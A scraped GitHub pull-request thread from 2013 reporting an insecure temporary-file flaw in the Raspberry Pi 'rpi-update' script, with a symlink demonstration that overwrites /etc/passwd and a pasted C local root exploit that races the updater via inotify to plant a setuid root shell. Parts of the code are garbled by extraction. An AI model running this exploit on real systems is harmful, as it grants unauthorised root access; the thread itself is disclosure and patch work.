Insecure tmp file handling #67

merged 1 commit into from Mar 6, 2013


None yet

4 participants

technion commented Feb 7, 2013

A malicious user can clobber any file due to insecure tmp file handling. Example:

pi@raspberrypi ~ $ ln -s /etc/passwd /tmp/
pi@raspberrypi ~ $ sudo rpi-update
pi@raspberrypi ~ $ cat /etc/passwd


if mv "./" "./"; then
rm -- "$0"
exec env UPDATE_SELF=0 /bin/bash "./" ""
echo " !!! Failed!"

As of this point, the pi is quite unusable.

As there are already references in the code to data stored in the root user's home directory, I have replicated that configuration in this patch.

technion commented Mar 6, 2013

Note that a root shell exploit for this has now been released.

K1773R commented Mar 6, 2013

reference pls

lcashdol commented Mar 6, 2013

From :

/*Local root exploit for rpi-update on raspberry Pi.
Vulnerability discovered by Technion,

larry@pih0le:~$ ./rpix
[*] Launching attack against ""
[+] Creating evil script (/tmp/evil)
[+] Creating target file (/usr/bin/touch /tmp/
[+] Initialize inotify on /tmp/
[+] Waiting for root to modify ""
[+] Opening root shell (/tmp/sh)

<-- Yay!

Larry W. Cashdollar

Greets to Vladz.

#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <string.h>
#include <sys/inotify.h>
#include <fcntl.h>
#include <sys/syscall.h>

/Create a small c program to pop us a root shell/
int create_nasty_shell(char *file) {
char *s = "#!/bin/bash\n"
"echo 'main(){setuid(0);execve("/bin/sh",0,0);}'>/tmp/sh.c\n"
"cc /tmp/sh.c -o /tmp/sh; chown root:root /tmp/sh\n"
"chmod 4755 /tmp/sh;\n";

int fd = open(file, O_CREAT|O_RDWR, S_IRWXU|S_IRWXG|S_IRWXO);
write(fd, s, strlen(s));

return 0;

int main(int argc, char **argv) {
int fd, wd;
char buf[1], *targetpath, *cmd,
*evilsh = "/tmp/evil", *trash = "/tmp/trash";

if (argc < 2) {
printf("Usage: %s \n", argv[0]);
return 1;

printf("[*] Launching attack against "%s"\n", argv[1]);

printf("[+] Creating evil script (/tmp/evil)\n");

targetpath = malloc(sizeof(argv[1]) + 32);
cmd = malloc(sizeof(char) * 32);
sprintf(targetpath, "/tmp/%s", argv[1]);
sprintf(cmd,"/usr/bin/touch %s",targetpath);
printf("[+] Creating target file (%s)\n",cmd);

printf("[+] Initialize inotify on %s\n",targetpath);
fd = inotify_init();
wd = inotify_add_watch(fd, targetpath, IN_MODIFY);

printf("[+] Waiting for root to modify :"%s"\n", argv[1]);
syscall(SYS_read, fd, buf, 1);
syscall(SYS_rename, targetpath, trash);
syscall(SYS_rename, evilsh, targetpath);

inotify_rm_watch(fd, wd);

printf("[+] Opening root shell (/tmp/sh)\n");
system("rm -fr /tmp/trash;/tmp/sh || echo "[-] Failed."");

return 0;

K1773R commented Mar 6, 2013


@popcornmix popcornmix merged commit 85b714f into Hexxeh:master Mar 6, 2013
technion commented Mar 6, 2013

K1773R: I was hoping, in accordance with responsible disclosure, I would have been able to get the fix merged before demonstrating/referencing Larry's live exploit.

K1773R commented Mar 7, 2013

i dont think any RPi was harmed by this :)

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment